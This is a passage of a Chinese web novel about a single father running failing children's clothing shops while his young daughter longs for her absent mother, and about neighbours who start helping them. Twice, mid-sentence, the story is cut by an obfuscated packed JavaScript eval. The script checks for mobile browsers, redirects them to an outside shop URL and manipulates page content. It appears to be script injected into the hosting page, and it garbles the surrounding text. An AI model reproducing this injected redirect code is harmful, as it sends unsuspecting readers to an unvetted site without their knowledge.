这批货是他2月初从城郊一家小服装厂订的,每件拿货价65元,50件花了3250元,占了他当时进货资金的四分之一。 外套左胸口绣着的浅棕色小熊,耳朵上松了两根线头,风从仓库裂了道缝的玻璃窗钻进来,带着沙尘,线头就轻轻晃,蹭到旁边的纸箱发出“沙沙”声,像在尖着嗓子嘲笑他的疏忽。 这批货本该是3-4岁孩子穿的100码,林凡2月15日跟工厂对接时,特意连续发了3次尺寸参数表,还打了两通电话确认,工厂客服在电话里拍着胸脯说“已确认, 按此生产,保证没问题”,声音大得能听见电流杂音。 结果3月初收到货拆开一看,全做成了80码,实际只够2岁幼儿穿,袖口还短了3厘米。 他急得找了邻居家2岁的豆豆来试穿,孩子套上外套举胳膊时,袖口直接缩到了手腕上面一厘米,嫩红色的手腕冻得发僵,还起了两个小疹子。 豆豆皱着眉往回缩手,奶声奶气地喊“冷,扎”,林凡赶紧把外套脱下来,指尖摸过孩子的手腕,凉得像冰,心里也跟着沉了下去。 每天进店的30多个顾客里,十有**是捏着衣角比对孩子身高的妈妈。有位穿米色风衣的女士,怀里抱着2岁半的儿子,孩子裹着件鹅黄色的小棉袄,手里攥着个塑料小汽车。 女士蹲在货架前,手指反复摩挲外套的面料——那是林凡特意选的新疆长绒棉,摸起来像揉着晒干的云朵,比普通棉料每件成本高12元。 她的指甲修剪得整齐,涂了层淡粉色指甲油,摩挲时会轻轻捏一下面料,确认厚度。 “宝宝试试好不好?” 她把外套往孩子身上套,孩子的胳膊刚塞进袖子就皱起眉头,小嘴撅得老高: “紧,不舒服!” 女士赶紧把外套拉下来,指尖从孩子的肩膀量到腰际,刚好差了一拳的距离,指腹还能摸到孩子后背因为着急而冒出的薄汗。 她叹了口气,声音轻得像羽毛: “我上周在网上买了件不合适的,特意来实体店试,没想到还是小了,袖口短一截,洗了缩水更穿不了。” 说完又小心翼翼地把外套叠好,连衣襟上的褶皱都捋得平平整整,才轻轻放回货架,脚步缓慢地出了店门,出门时还回头看了眼货架,眼神里满是可惜。 穿碎花围裙的王奶奶也来了,围裙上沾着星星点点的面粉,应该是刚从家里的厨房出来。 她手里拿着件加绒外套翻来覆去地看,手指关节因为常年做家务而有点变形,对着光检查针脚时,嘴里不停念叨: “去年给孙子买的100码,穿到现在还松松的,这80码顶多穿到夏天,秋天一长个儿就小了,这不划算嘛。” 一对年轻父母则凑在货架前,妈妈手里的手机亮着,屏幕上是某多多的页面,同款加绒外套的图片旁边,红色的“已售1.2万件”格外显眼。 “这外套要129元,网上同款才99元还包邮,人家还送运费险,不合适能退,” 妈妈把手机往爸爸眼前凑了凑,声音压得有点低, “咱们再去前面看看,说不定有更便宜的。” 爸爸接过话时,还拉了拉妈妈的胳膊,眼神往门口瞟: “行,快走,一会儿还要去接孩子。” 说完便转身出了店,两人的脚步声很快消失在街对面的喧闹里。真正下单的每天只有四五人,转化率不足15%, 账本上这行红色数字被林凡用铅笔圈了又圈,圈痕深得透到了下一页,他每次翻开账本,都觉得眼睛发涩,得揉好几下才能看清字。 市区百货大楼的专柜更像个脆弱的婴儿,紧挨着卖女鞋的专柜,女鞋专柜的香味飘过来,混着童装的棉料味,有点怪。 据商场运营部每月发布的客流数据,三楼日均客流仅1200人次,是一楼(3600人次)的1/3—— 一楼**了化妆品、黄金珠宝等“吸客”业态,顾客大多捧着化妆品试用装、拎着珠宝店的纸袋,逛完一楼就乘扶梯下去了,很少有人往三楼走。 而林凡的童装专柜又在三楼东侧角落,离扶梯口有50多米,中间还隔了玩具店和家居用品店,很多顾客走到女鞋区,试完鞋就折返了,专柜前的人流量本就稀薄。 玻璃展柜上还留着去年10月开业时贴的“新店特惠”贴纸,橙红色的“新”字左边竖画被蹭掉了,变成了“斤店特惠”, 边角被顾客的手蹭得模糊,连“特惠”两个字都缺了笔画,像蒙了一层洗不掉的灰。 半个月来,专柜日均营业额刚够覆盖8000元的月租——按30天算,每天得卖够270元才持平,实际每天也就280元左右,连雇兼职店员小雅的180元日薪都得从县城店贴补。 要知道,县城店80平米月租才2000元,市区专柜20平米的租金竟是县城的4倍,这数字像块浸了水的海绵,压得他连呼吸都觉得沉。 小雅是隔壁职校幼儿教育专业的学生,扎着低马尾,刘海用发卡别在耳后。她周末来兼职赚学费,每天站8小时,黑色的帆布鞋鞋底磨得薄了,脚底板都磨出了茧子, 午休时只能靠在专柜后面的墙上,轻轻揉着脚踝。她午饭只敢啃从家里带的全麦面包,面包上撒着层白芝麻,中间夹着一片洗得干干净净的生菜,用粉色的保温袋装着—— 保温袋上印着只小熊,是她妈妈去年送她的生日礼物,到中午面包还是温的。 她还特意躲在专柜后面的储物间吃,储物间小得只能放下一个纸箱和一把折叠椅,她小口咬着面包,怕面包渣掉在地上,影响店铺形象。 有次林凡去市区补货,路过便利店买了个猪肉白菜馅的热包子,还特意用塑料袋裹了两层,偷偷塞给小雅: “别总吃面包,垫垫肚子,这包子还热着。” 小雅捏着温热的包子,指尖有点抖,热气透过塑料袋传到手上,眼眶一下子就红了,眼泪掉在包子皮上,她赶紧用手背擦掉,声音带着哭腔: “林哥,我之前发过传单,风吹日晒的,以为专柜能稳定点,要是实在赚不到钱,我就去餐馆端盘子了,至少管两顿饭。” 林凡看着女孩冻得发红的指尖——指甲盖边缘还有点脱皮,只能红着眼眶说 “再等等,会好的”, 可转身走向扶梯时,他自己的眼眶也热了——他知道,这话更像在安慰自己,连他都不知道“好起来”要等到什么时候。 隔壁的母婴店更狠,上周突然搞起“买满200送儿童保温杯+免费测微量元素”的活动。 那保温杯是某知名母婴品牌的,蓝色的杯身印着绿色的卡通恐龙,透明的吸管上还套着个小恐龙挂件,官网售价39元,握在手里刚好贴合孩子的小手。 母婴店还租了台便携式微量元素检测仪,银灰色的机身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613240|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,屏幕亮着绿光,每天早上9点就搬到门口,机器上贴着“精准测钙铁锌,呵护宝宝健康”的黄色标语,字体又大又亮。 虽然县疾控中心2024年2月15日刚通过公众号提醒“这类便携式设备检测原理简单,数据仅供参考,不能作为补钙、补铁的依据”,可家长们还是趋之若鹜—— 毕竟“免费”两个字太有吸引力,围着检测仪的家长能排起小长队,孩子们拿着免费的气球,在队伍里追着跑。 母婴店的店员穿着粉色的工作服,举着印着卡通图案的保温杯在走廊里喊: “免费领杯子啦!满200就送,还能给娃测缺钙不,不用花钱!” 声音甜得像裹了糖,硬生生抢走了林凡近三成客源。 林凡后来在商场客流统计APP上查过,母婴店活动期间日均进店200多人,比活动前多了一倍,而自己的专柜客流从每天30人降到21人,刚好减少三成。 有次他站在专柜后整理叠好的衬衫,亲眼看见三个本来拿着他家长裙的家长,被母婴店店员举着保温杯一招呼,立刻放下裙子转身就走—— 其中一位穿牛仔外套的妈妈还回头冲他笑了笑,说“先去领个杯子,等会儿再来”,结果直到商场晚上9点关店,他都没再等到她的身影。 那天他统计了下,专柜只卖了两件衣服——一件59元的短袖T恤,一件139元的连衣裙,营业额198元,连月租的零头都不够。 他把账本摊在展柜上,手指划过“198元”的数字,指甲盖都快把纸戳破了,心里像堵着团湿棉花,闷得慌。 就连跟红星服装厂签的200件春季衬衫订单,也成了压在他身上的重担。这批衬衫是林凡特意选的浅蓝、米白等浅色系,布料摸起来轻薄透气,想着春季家长喜欢清爽款式, 每件拿货价45元,200件花了9000元,本指望靠这批货覆盖县城店半个月的租金(2000元)。 可上周抽检时,他发现12件白色衬衫的领口走线歪斜,最严重的一件拼缝差了1.5厘米,边缘还露出了1厘米长的线头,摸起来扎手。 他拿给笑笑试穿,孩子刚穿上就哭着摸下巴: “爸爸,疼!扎!” 林凡赶紧把衬衫脱下来,看见笑笑下巴上已经蹭出了一道红印——细细的,像条小虫子爬在脸上,他心疼得不行,赶紧去卫生间拧了热毛巾,轻轻给孩子敷着,嘴里还不停哄: “对不起,爸爸不好,不该让你试的。” 笑笑攥着他的手, 小声说:“爸爸不难过。” 他揣着那件次品跑了三趟工厂,工厂在郊区,离县城有40多公里,没有直达公交,他每次都要先坐1小时公交到镇上,再转乘半小时的红色三轮车—— 三轮车没有棚,风刮在脸上像小刀子。第一次去时他早上6点就起床,揣着那件衬衫,用塑料袋包了三层,怕被挤坏。 公交上挤满了去镇上赶集的老人,他只能站在后门,手抓着扶手,胳膊被挤得有点酸,衬衫紧贴着胸口,生怕被蹭脏。 到工厂时大门还没开,铁门上锈迹斑斑,他只能在冷风里站着等,手插在口袋里,冻得发僵,连手机都按不动。 质检员起初还狡辩“这是正常误差,不影响穿,行业里都这样”,说话时还叼着根烟,烟雾飘到林凡面前,呛得他咳嗽。 直到林凡掏出手机里拍的笑笑哭脸视频—— 视频里笑笑的眼泪挂在腮边,睫毛湿漉漉的,小鼻子一抽一抽的,还在断断续续说“下巴疼”,林凡拿着手机的手因为着急都在抖,屏幕都有点晃—— 质检员这才没话说,掐了烟,勉强谈妥返工,却不肯承担运费。 光顺丰到付的运费就花了986元,微信支付记录截图他存了三个文件夹,分别命名“服装厂返工1”“服装厂返工2”“运费凭证”,每个文件夹里都按日期排好序; 怕后期跟工厂对账时说不清,他还把和质检员的聊天记录都导出来存到了U盘里—— U盘是黑色的,上面有几道划痕,是去年搬货时蹭的,就放在随身的帆布包里,每天早上出门前都要摸一下,确认还在,生怕丢了。 更让他揪心的是,返工耽误了10天,原本计划3月15日上架的衬衫,硬生生推迟到3月25日,而县城童装店3月上半月的春季衬衫销量, 已经被隔壁的“阳光童装”占了40%的份额—— “阳光童装”的老板老李,之前碰到时还笑着跟他打招呼,说“今年春装卖得不错”,人家早在3月1日就上架了同款衬衫,还搞了“买二送一”的活动,短短15天卖了150件。 林凡的衬衫上架时,春季销售旺季已经过了一半,半个月才卖了30件,彻底错过了最佳销售期。 9000元的货款像块冰冷的石头, 压在他心里,每次翻开账本看到这行数字,他都觉得胸口发闷,得深吸好几口气才能缓过来。 第五十五章:女儿的情感缺口 另一轨,则是女儿笑笑日益浓烈的情感缺口。 笑笑今年4岁,扎着两个羊角辫,发尾的自然卷软蓬蓬的,风一吹就轻轻晃,像极了苏晚晴年轻时的发量—— 苏晚晴当年怀笑笑时,还特意剪了齐肩发,说方便照顾孩子,如今那卷发的弧度,竟原封不动地长在了女儿头上。 每天下午幼儿园门口,她总比其他孩子慢半拍收拾小书包,手指反复摩挲书包上掉了颗钻的卡通扣(那是去年生日林凡在批发市场花15块钱买的,笑笑宝贝了半年), 指尖蹭过缺钻的豁口时,塑料边缘磨得有点涩;眼睛却黏着栅栏外的家长群: 小红妈妈总穿着米色风衣,衣角沾着点早秋的落叶,手里拎着印着“小猪佩奇”的保温袋,接过小红的书包时会先蹲下来,指尖顺着孩子的衣领轻轻捋,把歪掉的领口理得服帖,再掏出草莓味的常温酸奶—— 是笑笑在超市冷藏柜前盯了许久的“安慕希儿童款”,罐身印着粉白的小兔子,她曾拉着林凡的衣角小声说“想尝尝”,林凡看了眼价签,说“等爸爸这周多卖两件衣服就买”, 结果忙到忘了,后来每次路过超市,笑笑都要往冷藏柜望两眼; 乐乐妈妈会骑着粉色电动车来,车筐里装着刚从街角摊买的糖葫芦,糖霜还泛着亮,沾着点细碎的芝麻,乐乐坐上车时,妈妈会解下脖子上的羊绒围巾, 把他的小脸蛋裹得只剩一双圆眼睛,只露个小口让他咬糖葫芦,糖渣子顺着嘴角往下掉,妈妈就用指腹轻轻擦掉;还有朵朵的外婆,每次都提着印着碎花的保温桶来, 里面装着炖得软烂的排骨粥,粥香顺着桶缝飘出来,她蹲在花坛边喂朵朵,一边喂一边用湿巾擦孩子嘴角的粥渍,还会轻声问“烫不烫”。 而笑笑的位置,永远只有林凡平常来接——, 每次靠着时间点,不早不晚,而且把笑笑需要的都提前准备好了,手里攥着给笑笑买的橘子糖,糖纸是透明的,能看见橘色的糖块,笑笑总舍不得吃,先捏在手里闻半天; 或是等王猛叔叔忙完店里的活,踩着暮色匆匆赶来,衬衫领口沾着根白色线头,随着快步走的动作轻轻晃,手里还攥着没来得及放下的卷尺,尺身上缠着半根蓝色的线,线尾打了个小小的死结,怕松掉。 一周前的深夜,笑笑攥着幼儿园发的A4纸“全家福”画纸跑过来,纸边缘被她的小手揉得发毛,边角还沾着一点幼儿园的橡皮泥残渣—— 是下午做手工时粘的,浅粉色,她没舍得抠掉,指尖还残留着橡皮泥的黏腻感。上面用蜡笔涂了三个歪歪扭扭的人: 粉色裙子的是她,裙子下摆画了圈波浪线,笔尖顿得重,纸面上留下浅浅的压痕,胸口那颗歪歪的小爱心涂得太用力,蜡笔都断了半截,断口处还沾着她的指纹,浅灰色的; 蓝色上衣的是林凡,领口被涂成红色,她特意在爸爸的袖口画了个小圆圈—— 因为林凡总用袖口擦汗,尤其是夏天改衣服时,袖口总湿一大片,干了之后会留下浅白色的印子; 最显眼的是右侧空着的黄色裙子位置,用铅笔描了三遍轮廓,每一遍都比前一遍重,纸面上留下了浅浅的凹痕,像被指尖反复按过,又用红色蜡笔在旁边写了歪扭的拼音“mama”, 拼音旁边的问号画得又大又深,笔尖几乎要把纸戳破,她画的时候大概犹豫了很久,问号周围还有几道淡淡的擦痕,纸屑粘在上面,没掉。 小脑袋蹭着林凡的胳膊,软乎乎的头发扫过他的手腕—— 笑笑的头发刚用“青蛙王子”儿童洗发水洗过,浴室里还飘着淡淡的草莓香,发梢还挂着没擦干的小水珠,滴在林凡的裤腿上,晕出小小的湿痕,凉丝丝的。 她把画纸举到林凡眼前,小手有点抖,指缝里还卡着点淡粉色洗发水泡沫,声音轻得像羽毛,还带着刚洗完澡的鼻音,尾音轻轻往下垂: “爸爸,小红妈妈今天给她扎了新的小辫子,用的是带蝴蝶结的皮筋,粉粉的,还带她去买了小兔子发卡。 我的妈妈什么时候能回来呀?她会不会忘了我的头发要怎么扎?上次张爷爷给我扎辫子,皮筋都缠在一起了,扯得我有点疼。” 那晚林凡坐在客厅的旧沙发上,沙发扶手上的人造革裂了道细缝,露出里面泛黄的海绵,沾着根笑笑的浅棕色头发,上面搭着笑笑的白色小袜子,袜尖破了个小洞, 边缘的棉线抽了几根,是昨天在幼儿园玩“老鹰捉小鸡”时勾到滑梯铁栏杆弄破的,他本来想缝,结果晚上改衣服改到半夜就忘了,袜子上还放着笑笑白天玩的塑料小熊, 耳朵掉了一只,用透明胶水粘过,歪歪地挂在脑袋上。他盯着相框里苏晚晴五年前的照片看了半宿,照片是笑笑一岁时拍的: 那天是周末,苏晚晴特意休了假,抱着孩子站在县城老公园的樱花树下,那棵樱花树有两人合抱粗,树皮上还留着孩子刻的歪歪扭扭的“1”,当时正是盛花期,粉白色的花瓣落了她一肩膀, 还有几片粘在她的碎发上,没掉,阳光照在花瓣上,泛着浅粉色的光; 她穿浅蓝牛仔裤,膝盖处有个硬币大的洞,是之前在服装厂踩缝纫机时磨破的,她舍不得扔,用同色线缝了个小太阳图案—— 因为笑笑那时候总指着太阳喊“亮亮”,太阳的边边角角缝得有点歪,像个皱着的小笑脸; 马尾用断了一根的黑皮筋扎着,几缕碎发垂在脸颊旁,被风吹得轻轻动,她正低头逗笑笑,嘴角弯出个小小的梨涡,手指捏着一朵樱花往孩子嘴里送,动作轻得怕戳到她, 笑笑的脸圆圆的,还没长开,嘴角沾着亮晶晶的口水,攥着苏晚晴的衣角笑得眯起眼,小拳头里还攥着半片樱花瓣,捏得有点皱。直到晨光透过窗帘缝隙,照在他手背上, 才发现指节早已攥得发白,手心还印着相框的纹路——相框是黑色硅胶的,上面印的小熊图案被磨掉了一半,只剩个圆圆的肚子,是笑笑三岁时在文具店非要买的,当时她踮着脚举着相框喊: “小熊的肚子圆圆的,跟爸爸一样能抱我!”现在相框边缘还裂了道缝,是上次搬货时摔的,他用透明胶带粘了粘,胶带边有点卷,还能用。 他总觉得时间像被撕碎的报纸,碎片里全是赶场的痕迹。 早上6点,他准时发动那辆跑了8年的银色二手面包车,发动时先“突突”喘了两下,仪表盘的指针颤了颤才稳住,表面蒙着层薄灰, 他顺手用袖口擦了擦,留下道浅印,显示已经跑了18万公里,比县城到北京的距离还远,方向盘的真皮套磨出了毛边,露出里面浅棕色的海绵,摸起来有点软, 副驾储物格里还放着去年冬天剩下的暖宝宝,橙色包装纸皱巴巴的,上面的字都模糊了,他没舍得扔,想着今年冬天或许还能用,偶尔翻东西时会碰到,哗啦响。 车后座堆着要补的蓝色牛仔裤,是前几天顾客拿来修改的,膝盖处磨破了个大洞,周围的布料起了毛边,顾客说“孩子还能穿,补补就行”, 他用上次进货剩下的蓝色线缝了个简单的补丁,针脚虽然歪,但每一针都扎得很实,线尾还打了个小结,怕开线,特意把补丁缝在里面,想着顾客看不见。 路过国道的加油站时,他得加20块钱的92号汽油——当天油价是1.3元/升,20块能加27.4升,从市区到县城的店往返120多公里,面包车百公里油耗8个, 一次油够跑两趟多,算下来每趟油费要100块左右,他在心里默算时,手指会轻轻敲方向盘。他从不敢走高速,高速单程要收25块过路费,走国道虽然多绕20分钟, 但能省下来给笑笑买半斤草莓。加油站的王师傅认识他,总穿着洗得发白的蓝色工装,胸前印着“红星加油站”的字样,边角都磨白了,工装袖口还缝着个深蓝色布补丁, 和衣服颜色差了点,手里拿着加油枪,金属枪头沾着点油渍,每次都多给加个一两升,笑着说: “林老板又去市区啊?昨天看见你家笑笑在幼儿园门口等你,手里还拿着画,风一吹画纸飘得厉害,她就用小手紧紧攥着,指节都白了。 慢点开,这段路货车多,早高峰容易堵,上次有个面包车跟货车剐蹭,堵了快俩小时,你别误了开门。” 他只能点点头,嘴里说着“谢谢王师傅”,声音有点哑,踩着油门赶紧走,因为店里8点要开门,要是堵在路上,就会错过早上来买童装的上班族妈妈—— 他算过,早上8点到10点的客流量,能占全天的三分之一,这些妈妈大多赶时间,会直接拿了衣服就付钱,很少讲价,是店里主要的客源,他还在账本上记着“早间客:30%”。 晚上7点多,他赶回车里接笑笑时,孩子已经在幼儿园保安室门口坐了20多分钟。保安张叔搬了个红色小马扎给她,凳面裂了道缝,用铁丝捆着,还倒了杯热水, 搪瓷杯上印着“幼儿园六一”的字样,水都凉了,杯壁结着层浅白的水垢,笑笑也没喝,手里攥着那本《小熊的爸爸》,书的封面掉了,是他用透明胶带粘了三层的, 胶带都有点黄,书脊处的纸都脆了,一翻就掉渣,里面还有几页被笑笑用蜡笔涂了颜色,小熊的脸被涂成了粉色,蹭到了旁边的文字上,晕出淡淡的印。 抱着孩子坐在副驾上,他翻开书讲故事,声音比白天轻了点,带着点疲惫,笑笑把脸贴在他的胸口,能听见他咚咚的心跳,小手攥着他的衣角—— 他的衣角因为经常改衣服,沾了不少线头,还磨出了毛边,布料有点硬。听到“小熊的爸爸带它去摘苹果”时,笑笑会轻轻笑,小肩膀一耸一耸的,睫毛在他胸口扫过,有点痒, 可到了故事结尾,总会歪着脑袋问,眼睛里有点湿,像蒙着层雾:“小熊的妈妈呢?是不是嫌小熊调皮,不要小熊了?上次我把牛奶洒在地上,妈妈会不会也生气了?” 他每次都得编,声音有点虚,怕被孩子听出破绽:“妈妈去远方的森林给小熊买蜂蜜了,那里的蜂蜜要酿三个月,酿好就回来,到时候妈妈还会给笑笑买小兔子发卡,粉粉的,跟小红的一样。” 一边说一边摸她的头,指尖能摸到孩子头发里的小绒毛,软乎乎的,心里却像被针扎—— 他知道,苏晚晴走的时候,笑笑才刚会喊“妈妈”,现在孩子连妈妈的声音都快忘了,有次笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613241|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑指着电视里的女演员问,小手还指着屏幕: “爸爸,那个阿姨的声音,是不是跟妈妈一样呀?我有点记不清了。” 等哄完笑笑睡着,他再回店里整理账本。蓝色封面的账本是在文具店买的,5块钱一本,封面被汗水浸得发皱,边角都卷了,像朵蔫了的花,上面记着密密麻麻的数字, 有些数字被汗水晕开,他又用圆珠笔描了一遍,墨水有点渗,晕出小小的圈: 3月5日进春季外套50件,花3000元(供货商说再拿50件能便宜200,可他没敢多拿,上个月进的20件碎花裙压了货,到现在还剩12件, 只能挂在门口打折卖,30块钱一件,比进价还低5块,他在旁边画了个小小的“亏”字); 3月8日卖2件外套,一件粉色一件蓝色,收入160元(买的是隔壁小区的张阿姨,她女儿跟笑笑同岁,还问起 “你家媳妇怎么没过来?以前总看见她在店里整理衣服,手特别巧,叠的衣服方方正正的”,他只能说 “她去外地办事了,得一阵子回”,声音有点低); 3月10日给笑笑买草莓,花25元(超市打折,15块钱一斤,买了一斤半,红通通的,笑笑吃了6颗,说“要留给妈妈吃”,剩下的放冰箱,第二天就坏了,表皮发皱, 他偷偷扔了,没敢告诉笑笑,怕她哭);3月12日付市区专柜租金8000元(房东说下个月要涨500,涨到8500,他没敢反驳,怕房东不续租—— 这个位置离幼儿园近,不少家长接完孩子会顺便来店里看看,要是换地方,生意肯定受影响,他捏着笔的手顿了顿,指腹蹭过“8500”的数字,粗糙的茧子刮得纸面沙沙响); 3月15日给笑笑买幼儿园手工材料,花18元(卡纸、胶水、小剪刀,笑笑说要做“妈妈的裙子”,结果卡纸剪得歪歪扭扭,还把胶水蹭到了脸上, 像个小花猫,他用湿纸巾擦了半天);3月18日修面包车车灯,花200元(左前灯不亮了,修车师傅说灯泡烧了,顺便帮他紧了紧松动的车门,还说 “你这车门再不修,下雨要漏水,到时候车里全是水”,他摸了摸口袋,钱包里只剩几十块,没敢修车门,想着先凑合用,等下个月卖了货再说)…… 常常算着算着,窗外的天就亮了——从墨蓝慢慢透出土黄,墨蓝色的天里缀着两颗疏星,远处传来第一声公鸡打鸣,哑着嗓子,像被夜露浸过; 最后染上橘红时,街上开始有早点摊的热气冒出来,油锅“滋滋”响,油条的香味混着豆浆的甜香飘进店里,隔壁卖包子的李叔会喊,声音洪亮,带着点烟火气: “林老板,要不要来两个肉包?今天的肉馅放了葱花,香得很,刚蒸好的!”他才发现自己坐着打盹,头歪在账本上,流了点口水在“3月12日付租金” 那行字上,把“8000”的“8”晕成了一团黑,他赶紧用纸巾擦,却越擦越花,纸都有点破了,最后只能在旁边重新写了个“8000”,笔尖顿得重,怕看不清。 精力在“老板”与“父亲”的双重角色里被榨得只剩残渣。白天在店里,他要整理货架、接待顾客、修改衣服尺寸,中午忙得没时间吃饭,就啃个凉馒头(早上从家里带的, 用塑料袋装着,馒头表皮有点硬,咬下去有点硌牙,他就就着矿泉水咽下去,矿泉水是常温的,有点涩),有次馒头太干,噎得他直咳嗽,眼泪都咳出来了,用袖口擦了擦,又接着啃。 上个月有天顾客特别多,从早上8点忙到中午12点,他连续站了四个小时,腿有点麻,整理货架时突然晃了一下,手碰到旁边的衣架,哗啦啦掉了一地童装—— 衣架碰撞的声音吓了他一跳,有件粉色的小裙子,跟苏晚晴以前给笑笑买的那件一模一样,裙子上的蝴蝶结还没掉,软乎乎的,他蹲下来捡,膝盖“咔嗒”响了一声,有点疼, 手指碰到裙子的布料,突然想起苏晚晴说“这种棉料软,孩子穿着舒服,洗多少次都不变形”,眼泪差点掉下来,赶紧用袖口擦了擦,怕顾客看见。 晚上累得沾床就睡,梦里却全是苏晚晴帮他熨童装的样子:她坐在阳台的小板凳上,手里拿着银色的熨斗,熨斗冒着淡淡的白汽,带着点熨烫水的清香,阳光照在她的头发上, 泛着浅金色的光;她会把熨好的裙子叠得整整齐齐,放进透明包装袋里,还跟他说: “这件裙子的褶皱要熨平,领口的花边要捋顺,妈妈们给孩子买衣服,最看重细节了,一点褶皱都能看出来,不能马虎。” 有时她还会回头冲他笑,眼睛弯成月牙,手里举着刚熨好的小衬衫:“你别总盯着我看,赶紧把那边的牛仔裤叠好,不然晚上又要加班—— 对了,笑笑的小袜子破了,明天记得给她买双新的,买带小熊图案的,她上次还说喜欢,跟你手机壳上的一样。” 每次梦醒,他都要愣好一会儿,摸了摸身边的位置,床单有点凉,能感觉到布料的纹理,才想起苏晚晴已经走了很久了, 窗外已经有点亮,能听见笑笑轻微的呼吸声,在隔壁房间,细细的,像羽毛飘。 第五十六章:初春的暖流 然而,就在林凡盯着童装店“笑笑宝贝屋屋”3月亏损表发呆时—— 红色的“-3200元”像根细针,扎得他眼眶发涩。这家店是他和好朋友王猛妻子一起开的,他和王猛两个人守着50平米的小店,既要进货理货,又要照顾3岁多的笑笑,连给女儿扎辫子都常分神。 那天早上,他把粉***结绕了三圈才系紧,笑笑疼得嘴角抿成小月牙,却没哭,只小声说“爸爸,轻一点”,小手还攥着他的衣角,像抓着最后一根稻草。 就在这对父女被生活压得喘不过气时,一股意料之外的暖流正悄悄裹住他们—— 暖流的源头,竟是那些曾在菜市场、楼道口议论“单亲爸爸撑不了半年”“孩子可怜”的居委会大妈们,她们的善意像初春晒透的棉被,软乎乎地盖在林凡结了薄冰的心上。 变化是从隔壁3号楼的张婶开始的。这位60岁的老人,老伴走了五年,儿子在外地做工程,一年只回一次家。 她家阳台的防盗栏上,摆着四个用快递箱改的泡沫箱—— 外面还贴着孙奶奶帮忙剪的卡通小鸭子贴纸,里面种的小葱、蒜苗绿油油的,叶子从栏杆缝里探出来,风一吹就晃得像在打招呼。 以前张婶来店里,总站在门口聊两句街坊八卦:“三楼李姐家孙子感冒,输液三天花了八百多”“楼下老王的自行车被偷,报警到现在没找着”, 如今却总提着个碎花布袋子进门,袋子上印的小菊花是她自己缝的,针脚歪歪扭扭,却透着股认真劲儿。 “小林,刚蒸的猪肉白菜包,6个,用纱布裹着呢,还热乎。” 她一边说一边递袋子,纱布缝隙里冒的热气熏得林凡指尖发暖, “笑笑爱吃甜口,我特意少放了盐,你忙起来常忘了吃饭,别饿坏了胃—— 我凌晨五点就发面了,白菜是昨天傍晚摘的,晾了俩小时水,怕包子出水。” 林凡咬了一口,汤汁顺着嘴角往下淌,白菜的清甜裹着肉香,是家的味道——他想起妻子以前也总这样,早起给父女俩做早餐,那时候厨房的窗户总飘着白汽。 上周三下午,林凡忙着整理新到的浅粉色碎花连衣裙—— 这批货是笑笑指着进货图册说“爸爸,这个好看,妈妈以前有件这样的裙子”才进的,一共20条,到现在只卖了3条。他蹲在货架前理货,没注意笑笑趴在柜台边睡着了: 小脑袋歪在浅蓝色衣袖上,口水浸出一小片湿痕,睫毛像两把小扇子,时不时颤一下,像是在梦里抓蝴蝶。 张婶路过店门口,踮着脚看了两分钟,悄悄回家抱来一条浅粉色小毛毯—— 那是她孙子小时候用的,上面绣着只白色小兔子,兔子眼睛是黑色纽扣,毛毯上除了太阳晒过的暖味,还飘着淡淡的薰衣草香。 “我孙子以前怕蚊子,我总在毛毯上喷点薰衣草水,现在还改不了这习惯。” 她蹲在笑笑旁边守了半个钟头,手里攥着把竹编蒲扇——扇面上有个指甲盖大的破洞,是前年给孙子扇风时,被孩子的玩具车勾破的,她一直没舍得扔。 张婶扇得很轻,风只够拂过笑笑的额发,怕把孩子吹醒;见有蚊子落在笑笑胳膊上,她又用蒲扇轻轻赶开,动作慢得像怕碰碎玻璃。 直到笑笑揉着眼睛醒了,张婶又变魔术似的从口袋里掏出颗水果糖,糖纸是金色的,印着“进口草莓味”,包装纸上还沾着点面粉—— 是蒸包子时蹭的。 “这是我家小子从深圳寄来的,我牙不好,咬不动,给笑笑吃。” 她摸笑笑头发的手有点抖,指关节上还沾着泥土(早上浇菜时没洗干净),看笑笑的眼神却软得像棉花,还掏出手绢帮笑笑擦嘴角的口水—— 手绢是浅蓝色的,印着小菊花,边角磨得发毛,是用了五年的老物件。 接着是居委会的李主任。那天她来检查消防设施,手里拿着本蓝色登记本,封面上“社区消防检查记录”几个字被磨得有点模糊,却没急着让林凡签字。 她看见笑笑踮着脚够柜台上的彩虹糖,小胳膊伸得笔直,红色小皮鞋的鞋尖磨得发白—— 这双鞋是去年双十一在网上买的,39块钱,现在鞋跟有点歪(笑笑上次跑着追蝴蝶时崴的),鞋头也挤脚,林凡一直没来得及买新的,总说“再穿两个月,等夏天再换”。 李主任顺势坐在门口的塑料小凳子上——凳子是林凡用来给顾客坐的,凳腿有点晃,他用铁丝绑了两圈才稳住。“小林啊,你这店刚起步,专柜又要盯着,肯定更忙了。” 她语气像拉家常,手指无意识地摩挲着登记本的边角, “咱们居委会二楼有间活动室,是去年申请民生资金改的,以前堆杂物,现在刷了浅蓝色的墙,我还请隔壁小学的美术老师画了几棵小树苗,看着亮堂。 下午3点到5点总有老姐妹带孩子去,里面的积木区有236块积木呢——木质的120块,塑料拼插的116块,还有两盒乐高小颗粒; 绘本角有158本书,《好饿的**毛虫》《爷爷一定有办法》这些经典的都有,是用社区公益资金买的,全新的,连塑封都没拆; 还有个蓝色小滑梯,高1.2米,旁边铺了3厘米厚的黄色软垫,上面印着小鸭子,就算孩子摔下来也不疼。” 